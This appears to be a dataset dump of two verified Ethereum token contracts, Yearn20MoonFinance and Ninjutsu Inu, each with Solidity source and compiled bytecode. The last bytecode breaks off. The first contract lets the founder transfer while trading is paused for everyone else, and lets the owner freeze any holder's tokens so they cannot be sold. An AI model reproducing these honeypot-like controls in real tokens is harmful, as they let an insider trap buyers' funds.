function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is StandardToken {
event Pause();
event Unpause();
bool public paused = false;
address public founder;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused || msg.sender == founder);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
//The functions below surve no real purpose. Even if one were to approve another to spend
//tokens on their behalf, those tokens will still only be transferable when the token contract
//is not paused.
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Yearn20MoonFinance is PausableToken {
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Constructor that gives the founder all of the existing tokens.
*/
constructor() public {
name = "Yearn20Moon.Finance";
symbol = "YMF20";
decimals = 8;
totalSupply = 20000*100000000;
founder = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/** @dev Fires on every freeze of tokens
* @param _owner address The owner address of frozen tokens.
* @param amount uint256 The amount of tokens frozen
*/
event TokenFreezeEvent(address indexed _owner, uint256 amount);
/** @dev Fires on every unfreeze of tokens
* @param _owner address The owner address of unfrozen tokens.
* @param amount uint256 The amount of tokens unfrozen
*/
event TokenUnfreezeEvent(address indexed _owner, uint256 amount);
event TokensBurned(address indexed _owner, uint256 _tokens);
mapping(address => uint256) internal frozenTokenBalances;
function freezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= balanceOf(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.add(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenFreezeEvent(_owner,_value);
}
function unfreezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= getFrozenBalance(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.sub(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenUnfreezeEvent(_owner,_value);
}
function setFrozenBalance(address _owner, uint256 _newValue) internal {
frozenTokenBalances[_owner]=_newValue;
}
function balanceOf(address _owner) view public returns(uint256)
{
return getTotalBalance(_owner).sub(getFrozenBalance(_owner));
}
function getTotalBalance(address _owner) view public returns(uint256)
{
return balances[_owner];
}
/**
* @dev Gets the amount of tokens which belong to the specified address BUT are frozen now.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount of frozen tokens owned by the passed address.
*/
function getFrozenBalance(address _owner) view public returns(uint256)
{
return frozenTokenBalances[_owner];
}
/*
* @dev Token burn function
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(uint256 _tokens) public onlyOwner {
require(balanceOf(msg.sender) >= _tokens);
balances[msg.sender] = balances[msg.sender].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(msg.sender, _tokens);
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638456cb59116100b8578063a9059cbb1161007c578063a9059cbb14610381578063d3d38193146103ad578063d73dd623146103d3578063dd62ed3e146103ff578063e9b2f0ad1461042d578063f2fde38b1461045957610142565b80638456cb59146103175780638da5cb5b1461031f57806395d89b41146103275780639f2cfaf11461032f578063a4df6c6a1461035557610142565b80633f4ba83a1161010a5780633f4ba83a146102725780634d853ee51461027c5780635c975abb146102a057806366188463146102a85780636d1b229d146102d457806370a08231146102f157610142565b806306fdde0314610147578063095ea7b3146101c457806318160ddd1461020457806323b872dd1461021e578063313ce56714610254575b600080fd5b61014f61047f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f0600480360360408110156101da57600080fd5b506001600160a01b03813516906020013561050d565b604080519115158252519081900360200190f35b61020c61054b565b60408051918252519081900360200190f35b6101f06004803603606081101561023457600080fd5b506001600160a01b03813581169160208101359091169060400135610551565b61025c610591565b6040805160ff9092168252519081900360200190f35b61027a61059a565b005b6102846105f5565b604080516001600160a01b039092168252519081900360200190f35b6101f0610609565b6101f0600480360360408110156102be57600080fd5b506001600160a01b038135169060200135610612565b61027a600480360360208110156102ea57600080fd5b5035610649565b61020c6004803603602081101561030757600080fd5b50356001600160a01b03166106f5565b61027a61071e565b610284610797565b61014f6107a6565b61020c6004803603602081101561034557600080fd5b50356001600160a01b0316610801565b61027a6004803603604081101561036b57600080fd5b506001600160a01b03813516906020013561081c565b6101f06004803603604081101561039757600080fd5b506001600160a01b0381351690602001356108b8565b61020c600480360360208110156103c357600080fd5b50356001600160a01b03166108ef565b6101f0600480360360408110156103e957600080fd5b506001600160a01b03813516906020013561090a565b61020c6004803603604081101561041557600080fd5b506001600160a01b0381358116916020013516610941565b61027a6004803603604081101561044357600080fd5b506001600160a01b03813516906020013561096c565b61027a6004803603602081101561046f57600080fd5b50356001600160a01b0316610a08565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105055780601f106104da57610100808354040283529160200191610505565b820191906000526020600020905b8154815290600101906020018083116104e857829003601f168201915b505050505081565b60045460009060ff161580610531575060045461010090046001600160a01b031633145b61053a57600080fd5b6105448383610a8e565b9392505050565b60005481565b60045460009060ff161580610575575060045461010090046001600160a01b031633145b61057e57600080fd5b610589848484610b2e565b949350505050565b60075460ff1681565b6001546001600160a01b031633146105b157600080fd5b60045460ff166105c057600080fd5b6004805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60045461010090046001600160a01b031681565b60045460ff1681565b60045460009060ff161580610636575060045461010090046001600160a01b031633145b61063f57600080fd5b6105448383610cc8565b6001546001600160a01b0316331461066057600080fd5b8061066a336106f5565b101561067557600080fd5b33600090815260026020526040902054610695908263ffffffff610db816565b33600090815260026020526040812091909155546106b9908263ffffffff610db816565b60005560408051828152905133917ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6919081900360200190a250565b600061071861070383610801565b61070c846108ef565b9063ffffffff610db816565b92915050565b6001546001600160a01b0316331461073557600080fd5b60045460ff161580610756575060045461010090046001600160a01b031633145b61075f57600080fd5b6004805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6001546001600160a01b031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105055780601f106104da57610100808354040283529160200191610505565b6001600160a01b031660009081526008602052604090205490565b6001546001600160a01b0316331461083357600080fd5b61083c826106f5565b81111561084857600080fd5b600061085383610801565b90506000610867828463ffffffff610dca16565b90506108738482610dd9565b6040805184815290516001600160a01b038616917f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e919081900360200190a250505050565b60045460009060ff1615806108dc575060045461010090046001600160a01b031633145b6108e557600080fd5b6105448383610df5565b6001600160a01b031660009081526002602052604090205490565b60045460009060ff16158061092e575060045461010090046001600160a01b031633145b61093757600080fd5b6105448383610ecf565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6001546001600160a01b0316331461098357600080fd5b61098c82610801565b81111561099857600080fd5b60006109a383610801565b905060006109b7828463ffffffff610db816565b90506109c38482610dd9565b6040805184815290516001600160a01b038616917f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0919081900360200190a250505050565b6001546001600160a01b03163314610a1f57600080fd5b6001600160a01b038116610a3257600080fd5b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000811580610abe57503360009081526003602090815260408083206001600160a01b0387168452909152902054155b610ac757600080fd5b3360008181526003602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60006001600160a01b038316610b4357600080fd5b6001600160a01b0384166000908152600360209081526040808320338452909152902054821115610b7357600080fd5b81610b7d856106f5565b1015610b8857600080fd5b6001600160a01b038316600090815260026020526040902054610bb1818463ffffffff610dca16565b11610bbb57600080fd5b6001600160a01b038416600090815260026020526040902054610be4908363ffffffff610db816565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610c19908363ffffffff610dca16565b6001600160a01b038085166000908152600260209081526040808320949094559187168152600382528281203382529091522054610c5d908363ffffffff610db816565b6001600160a01b03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b3360009081526003602090815260408083206001600160a01b038616845290915281205480831115610d1d573360009081526003602090815260408083206001600160a01b0388168452909152812055610d52565b610d2d818463ffffffff610db816565b3360009081526003602090815260408083206001600160a01b03891684529091529020555b3360008181526003602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082821115610dc457fe5b50900390565b60008282018381101561054457fe5b6001600160a01b03909116600090815260086020526040902055565b60006001600160a01b038316610e0a57600080fd5b610e13336106f5565b821115610e1f57600080fd5b33600090815260026020526040902054610e3f908363ffffffff610db816565b33600090815260026020526040808220929092556001600160a01b03851681522054610e71908363ffffffff610dca16565b6001600160a01b0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b3360009081526003602090815260408083206001600160a01b0386168452909152812054610f03908363ffffffff610dca16565b3360008181526003602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a35060019291505056fea265627a7a723158200c3edda1c3f754ea30c02a705cd944a8ba6dd36e7454afc132b47c1a0b51198a64736f6c634300050b0032
|
{"success": true, "error": null, "results": {}}
| 3,994 |
0x7bc22d4283e6b3c30eb73ac79473cf13b9e105e8
|
/**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
/**
.__ __ __ .__
____ |__| ____ |__|__ ___/ |_ ________ __ |__| ____ __ __
/ \| |/ \ | | | \ __\/ ___/ | \ | |/ \| | \
| | \ | | \ | | | /| | \___ \| | / | | | \ | /
|___| /__|___| /\__| |____/ |__| /____ >____/ |__|___| /____/
\/ \/\______| \/ \/
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy
* 10% tax on buys and sells
* Max wallet of 9% of total supply for first 12 hours
* Higher fee on sells within first 1 hour post-launch
* No team tokens, no presale
* Functions for removing fees
*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NINJUTSU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Ninjutsu Inu";
string private constant _symbol = unicode"NINJUTSU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _launchFeeEnd;
uint256 private _maxBuyAmount;
uint256 private _maxHeldTokens;
address payable private _feeAddress1;
address payable private _feeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useFees = true;
bool private _useDevFee = true;
uint256 private _buyLimitEnd;
uint256 private _maxHeldTokensEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event UseFeesBooleanUpdated(bool _usefees);
event UseDevFeeBooleanUpdated(bool _usedevfee);
event TaxFeeUpdated(uint _taxfee);
event TeamFeeUpdated(uint _taxfee);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddress1, address payable feeAddress2) {
_feeAddress1 = feeAddress1;
_feeAddress2 = feeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[feeAddress1] = true;
_isExcludedFromFee[feeAddress2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// set to false for no fee on buys
bool takeFee = true;
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
_taxFee = 6;
_teamFee = 4;
require(_tradingOpen, "Trading not yet enabled.");
if(_maxHeldTokensEnd > block.timestamp) {
require(amount.add(balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(_cooldownEnabled) {
if(_buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && _tradingOpen) {
// take fee on sells
takeFee = true;
_taxFee = 6;
_teamFee = 4;
// higher fee on sells within first X hours post-launch
if(_launchFeeEnd > block.timestamp) {
_taxFee = 9;
_teamFee = 6;
}
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(!_useDevFee && _teamFee != 0) {
_teamFee = 0;
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || !_useFees){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress1.transfer(amount.div(2));
_feeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
// 1,000,000,000,000 total tokens
// 90,000,000,000 = 9% of total token count
_maxHeldTokens = 90000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
_tradingOpen = true;
_buyLimitEnd = block.timestamp + (120 seconds);
_maxHeldTokensEnd = block.timestamp + (12 hours);
_launchFeeEnd = block.timestamp + (1 hours);
}
function manualswap() external {
require(_msgSender() == _feeAddress1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddress1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function toggleFees() external {
require(_msgSender() == _feeAddress1);
_useFees = false;
emit UseFeesBooleanUpdated(_useFees);
}
function turnOffDevFee() external {
require(_msgSender() == _feeAddress1);
_useDevFee = false;
emit UseDevFeeBooleanUpdated(_useDevFee);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _feeAddress1);
_feeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_feeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _feeAddress2);
_feeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_feeAddress2);
}
function setCooldownEnabled() external onlyOwner() {
_cooldownEnabled = !_cooldownEnabled;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function balancePool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function balanceContract() public view returns (uint) {
return balanceOf(address(this));
}
function usingFees() public view returns (bool) {
return _useFees;
}
function usingDevFee() public view returns (bool) {
return _useDevFee;
}
function isThereMaxHeld() public view returns (bool) {
return (block.timestamp < _maxHeldTokensEnd);
}
function whatIsMaxHeld() public view returns (uint256) {
return _maxHeldTokens;
}
function whatIsTaxFee() public view returns (uint256) {
return _taxFee;
}
function whatIsTeamFee() public view returns (uint256) {
return _teamFee;
}
function whatIsFeeAddress1() public view returns (address) {
return _feeAddress1;
}
function whatIsFeeAddress2() public view returns (address) {
return _feeAddress2;
}
}
|
0x6080604052600436106101f25760003560e01c806370eb843b1161010d578063b177f189116100a0578063d7a2a8ad1161006f578063d7a2a8ad146106b6578063dd62ed3e146106e1578063ddf545121461071e578063e63aff6314610735578063e8078d941461074c576101f9565b8063b177f18914610632578063c3c8cd801461065d578063c4a8814f14610674578063c9567bf91461069f576101f9565b8063a1c31bf9116100dc578063a1c31bf914610562578063a9059cbb1461058d578063a985ceef146105ca578063a9fc35a9146105f5576101f9565b806370eb843b146104ca578063715018a6146104f55780638da5cb5b1461050c57806395d89b4114610537576101f9565b8063313ce5671161018557806362b3e1ec1161015457806362b3e1ec1461040e57806368a3a6a5146104395780636fc3eaec1461047657806370a082311461048d576101f9565b8063313ce56714610378578063322a5e5f146103a35780634a81854a146103ce57806350901617146103e5576101f9565b806318160ddd116101c157806318160ddd146102ba57806323b872dd146102e557806326515462146103225780632e82b8f31461034d576101f9565b806306fdde03146101fe5780630802d2f6146102295780630853b3dc14610252578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610763565b6040516102209190613571565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190612fda565b6107a0565b005b34801561025e57600080fd5b5061026761089e565b604051610274919061346d565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f91906130b7565b6108c8565b6040516102b19190613556565b60405180910390f35b3480156102c657600080fd5b506102cf6108e6565b6040516102dc9190613753565b60405180910390f35b3480156102f157600080fd5b5061030c60048036038101906103079190613068565b6108f7565b6040516103199190613556565b60405180910390f35b34801561032e57600080fd5b506103376109d0565b6040516103449190613753565b60405180910390f35b34801561035957600080fd5b506103626109da565b60405161036f9190613556565b60405180910390f35b34801561038457600080fd5b5061038d6109f1565b60405161039a91906137c8565b60405180910390f35b3480156103af57600080fd5b506103b86109fa565b6040516103c59190613753565b60405180910390f35b3480156103da57600080fd5b506103e3610a0a565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612fda565b610ace565b005b34801561041a57600080fd5b50610423610bcc565b6040516104309190613753565b60405180910390f35b34801561044557600080fd5b50610460600480360381019061045b9190612fda565b610bd6565b60405161046d9190613753565b60405180910390f35b34801561048257600080fd5b5061048b610c2d565b005b34801561049957600080fd5b506104b460048036038101906104af9190612fda565b610c9f565b6040516104c19190613753565b60405180910390f35b3480156104d657600080fd5b506104df610cf0565b6040516104ec9190613753565b60405180910390f35b34801561050157600080fd5b5061050a610d22565b005b34801561051857600080fd5b50610521610e75565b60405161052e919061346d565b60405180910390f35b34801561054357600080fd5b5061054c610e9e565b6040516105599190613571565b60405180910390f35b34801561056e57600080fd5b50610577610edb565b6040516105849190613556565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af91906130b7565b610ee7565b6040516105c19190613556565b60405180910390f35b3480156105d657600080fd5b506105df610f05565b6040516105ec9190613556565b60405180910390f35b34801561060157600080fd5b5061061c60048036038101906106179190612fda565b610f1c565b6040516106299190613753565b60405180910390f35b34801561063e57600080fd5b50610647610f73565b6040516106549190613556565b60405180910390f35b34801561066957600080fd5b50610672610f8a565b005b